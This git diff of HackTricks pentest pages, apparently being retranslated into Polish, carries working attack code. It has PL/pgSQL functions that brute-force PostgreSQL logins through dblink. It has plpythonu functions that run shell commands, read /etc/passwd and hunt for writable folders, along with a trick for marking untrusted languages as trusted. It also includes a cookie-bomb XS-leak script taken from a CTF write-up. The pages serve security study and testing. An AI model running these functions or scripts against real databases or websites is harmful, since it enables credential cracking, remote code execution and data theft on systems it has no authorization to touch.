* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,46 +1,49 @@
|
|||
# PL/pgSQL Brute Force Hasła
|
||||
# PL/pgSQL Password Bruteforce
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Znajdź [więcej informacji na temat tych ataków w oryginalnym dokumencie](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
|
||||
**Find [więcej informacji na temat tych ataków w oryginalnym dokumencie](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
|
||||
|
||||
PL/pgSQL to **w pełni funkcjonalny język programowania**, który wykracza poza możliwości SQL, oferując **rozszerzoną kontrolę proceduralną**. Obejmuje to wykorzystanie pętli i różnych struktur kontrolnych. Funkcje stworzone w języku PL/pgSQL mogą być wywoływane przez instrukcje SQL i wyzwalacze, poszerzając zakres operacji w środowisku bazy danych.
|
||||
PL/pgSQL to **w pełni funkcjonalny język programowania**, który wykracza poza możliwości SQL, oferując **ulepszoną kontrolę proceduralną**. Obejmuje to wykorzystanie pętli i różnych struktur kontrolnych. Funkcje stworzone w języku PL/pgSQL mogą być wywoływane przez instrukcje SQL i wyzwalacze, co poszerza zakres operacji w środowisku bazy danych.
|
||||
|
||||
Możesz wykorzystać ten język, aby poprosić PostgreSQL o przeprowadzenie brutalnego ataku na poświadczenia użytkowników, ale musi on istnieć w bazie danych. Możesz sprawdzić jego istnienie, używając:
|
||||
Możesz nadużyć tego języka, aby poprosić PostgreSQL o brutalne łamanie poświadczeń użytkowników, ale musi on istnieć w bazie danych. Możesz zweryfikować jego istnienie, używając:
|
||||
```sql
|
||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||
lanname | lanacl
|
||||
---------+---------
|
||||
plpgsql |
|
||||
```
|
||||
Domyślnie **tworzenie funkcji jest uprawnieniem udzielonym PUBLIC**, gdzie PUBLIC odnosi się do każdego użytkownika w tym systemie baz danych. Aby temu zapobiec, administrator mógłby musieć odebrać uprawnienie USAGE z domeny PUBLIC:
|
||||
Domyślnie **tworzenie funkcji jest przywilejem przyznawanym PUBLIC**, gdzie PUBLIC odnosi się do każdego użytkownika w tym systemie baz danych. Aby temu zapobiec, administrator mógłby cofnąć przywilej USAGE z domeny PUBLIC:
|
||||
```sql
|
||||
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
||||
```
|
||||
W takim przypadku nasze poprzednie zapytanie zwróciłoby różne wyniki:
|
||||
W takim przypadku nasze wcześniejsze zapytanie zwróciłoby różne wyniki:
|
||||
```sql
|
||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||
lanname | lanacl
|
||||
---------+-----------------
|
||||
plpgsql | {admin=U/admin}
|
||||
```
|
||||
Zauważ, że dla poniższego skryptu **funkcja `dblink` musi istnieć**. Jeśli jej nie ma, możesz spróbować ją utworzyć za pomocą 
|
||||
Zauważ, że aby poniższy skrypt działał, **funkcja `dblink` musi istnieć**. Jeśli nie istnieje, możesz spróbować ją stworzyć za pomocą 
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
## Brute Force Hasła
|
||||
## Password Brute Force
|
||||
|
||||
Oto jak można przeprowadzić brutalny atak na hasło składające się z 4 znaków:
|
||||
Oto jak możesz przeprowadzić atak brute force na hasło składające się z 4 znaków:
|
||||
```sql
|
||||
//Create the brute-force function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
|
@ -79,9 +82,9 @@ $$ LANGUAGE 'plpgsql';
|
|||
//Call the function
|
||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||
```
|
||||
_Należy pamiętać, że nawet próba bruteforce'owania 4 znaków może zająć kilka minut._
|
||||
_Note that even brute-forcing 4 characters may take several minutes._
|
||||
|
||||
Możesz również **pobrać listę słów** i spróbować tylko tych haseł (ataku słownikowego):
|
||||
Możesz również **pobrać listę słów** i spróbować tylko tych haseł (atak słownikowy):
|
||||
```sql
|
||||
//Create the function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
|
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
|
|||
-- Call the function
|
||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family).
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com).
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy Telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,41 @@
|
|||
# RCE with PostgreSQL Languages
|
||||
# RCE z językami PostgreSQL
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Języki PostgreSQL
|
||||
|
||||
Baza danych PostgreSQL, do której uzyskałeś dostęp, może mieć zainstalowane różne **języki skryptowe**, które można wykorzystać do **wykonywania dowolnego kodu**.
|
||||
|
||||
Możesz **uruchomić je**:
|
||||
Baza danych PostgreSQL, do której uzyskałeś dostęp, może mieć zainstalowane różne **języki skryptowe**, które możesz wykorzystać do **wykonywania dowolnego kodu**.
|
||||
|
||||
Możesz **je uruchomić**:
|
||||
```sql
|
||||
\dL *
|
||||
|
||||
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||||
```
|
||||
|
||||
Większość języków skryptowych, które można zainstalować w PostgreSQL, ma **2 warianty**: **zaufany** i **niezaufany**. Wariant **niezaufany** będzie miał nazwę **zakończoną na "u"** i będzie wersją, która umożliwi Ci **wykonywanie kodu** i korzystanie z innych interesujących funkcji. Oto języki, które są interesujące, jeśli są zainstalowane:
|
||||
Większość języków skryptowych, które można zainstalować w PostgreSQL, ma **2 odmiany**: **zaufaną** i **niezaufaną**. **Niezaufana** będzie miała nazwę **kończącą się na "u"** i będzie wersją, która pozwoli ci na **wykonywanie kodu** i korzystanie z innych interesujących funkcji. Oto języki, które są interesujące, jeśli są zainstalowane:
|
||||
|
||||
* **plpythonu**
|
||||
* **plpython3u**
|
||||
* **plperlu**
|
||||
* **pljavaU**
|
||||
* **plrubyu**
|
||||
* ... (dowolny inny język programowania korzystający z niebezpiecznej wersji)
|
||||
* ... (jakikolwiek inny język programowania używający niebezpiecznej wersji)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Jeśli odkryjesz, że interesujący język jest **zainstalowany**, ale przez PostgreSQL jest **niezaufany** (**`lanpltrusted`** ma wartość **`false`**), możesz spróbować **zaufać mu** za pomocą następującej linii, aby PostgreSQL nie stosował żadnych ograniczeń:
|
||||
|
||||
Jeśli znajdziesz, że interesujący język jest **zainstalowany**, ale **niezaufany** przez PostgreSQL (**`lanpltrusted`** jest **`false`**), możesz spróbować **zaufać mu** za pomocą następującej linii, aby żadne ograniczenia nie były stosowane przez PostgreSQL:
|
||||
```sql
|
||||
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
|
||||
# To check your permissions over the table pg_language
|
||||
|
@ -44,8 +44,7 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Jeśli nie widzisz języka, spróbuj go załadować z (**musisz być superadminem**):
|
||||
|
||||
Jeśli nie widzisz języka, możesz spróbować załadować go z (**musisz być superadminem**):
|
||||
```
|
||||
CREATE EXTENSION plpythonu;
|
||||
CREATE EXTENSION plpython3u;
|
||||
|
@ -55,12 +54,12 @@ CREATE EXTENSION plrubyu;
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
Należy zauważyć, że możliwe jest skompilowanie bezpiecznych wersji jako "niebezpieczne". Sprawdź [**to**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) na przykład. Warto więc zawsze spróbować, czy można wykonać kod, nawet jeśli znajdziesz tylko zainstalowaną wersję **zaufaną**.
|
||||
Zauważ, że możliwe jest skompilowanie bezpiecznych wersji jako "niebezpieczne". Sprawdź [**to**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) na przykład. Zawsze warto spróbować, czy możesz wykonać kod, nawet jeśli znajdziesz zainstalowaną tylko wersję **zaufaną**.
|
||||
|
||||
## plpythonu/plpython3u
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="RCE" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION exec (cmd text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -75,7 +74,7 @@ SELECT cmd("ls"); #RCE with popen or execve
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Pobierz użytkownika systemu operacyjnego" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION get_user (pkg text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -89,7 +88,7 @@ SELECT get_user(""); #Get user, para is useless
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Lista katalogów" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION lsdir (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -105,7 +104,7 @@ SELECT lsdir("/"); #List dir
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Znajdź folder W" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION findw (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -134,7 +133,7 @@ SELECT findw("/"); #Find Writable folders from a folder (recursively)
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Znajdź plik" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -169,7 +168,7 @@ SELECT find_file("psql"); #Find a file
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Znajdź pliki wykonywalne" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION findx (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -203,7 +202,7 @@ SELECT findx("/"); #Find an executables in folder (recursively)
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Znajdź exec przez subs" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -238,7 +237,7 @@ SELECT find_exe("psql"); #Find executable by susbstring
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Przeczytaj" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION read (path text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -254,7 +253,7 @@ select read('/etc/passwd'); #Read a file in b64
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Uzyskaj uprawnienia" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION get_perms (path text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -313,14 +312,17 @@ Sprawdź następującą stronę:
|
|||
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# Bomba Cookie + Wyciek XS za pomocą onerror
|
||||
# Cookie Bomb + Onerror XS Leak
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Poniższy **skrypt**, pobrany [**stąd**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), wykorzystuje funkcjonalność, która umożliwia użytkownikowi **wstawienie dowolnej liczby ciasteczek**, a następnie wczytanie pliku jako skrypt, wiedząc, że prawdziwa odpowiedź będzie większa niż fałszywa. Jeśli operacja się powiedzie, odpowiedź to przekierowanie z dłuższym adresem URL, **zbyt dużym, aby go obsłużyć przez serwer, więc zwraca kod stanu błędu HTTP**. Jeśli wyszukiwanie się nie powiedzie, nic się nie stanie, ponieważ adres URL jest krótki.
|
||||
Poniższy **skrypt** pobrany z [**tutaj**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) wykorzystuje funkcjonalność, która pozwala użytkownikowi **wstawić dowolną liczbę ciasteczek**, a następnie załadować plik jako skrypt, wiedząc, że prawdziwa odpowiedź będzie większa niż fałszywa. Jeśli operacja zakończy się sukcesem, odpowiedź to przekierowanie z wynikiem URL, który jest dłuższy, **zbyt duży, aby serwer mógł go obsłużyć, więc zwraca kod statusu błędu http**. Jeśli wyszukiwanie się nie powiedzie, nic się nie stanie, ponieważ URL jest krótki.
|
||||
```html
|
||||
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
|
||||
<script>
|
||||
|
@ -61,14 +64,17 @@ break;
|
|||
};
|
||||
</script>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family).
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com).
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Wyciek wykonania JavaScript XS
|
||||
# Wykonanie JavaScript XS Leak
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
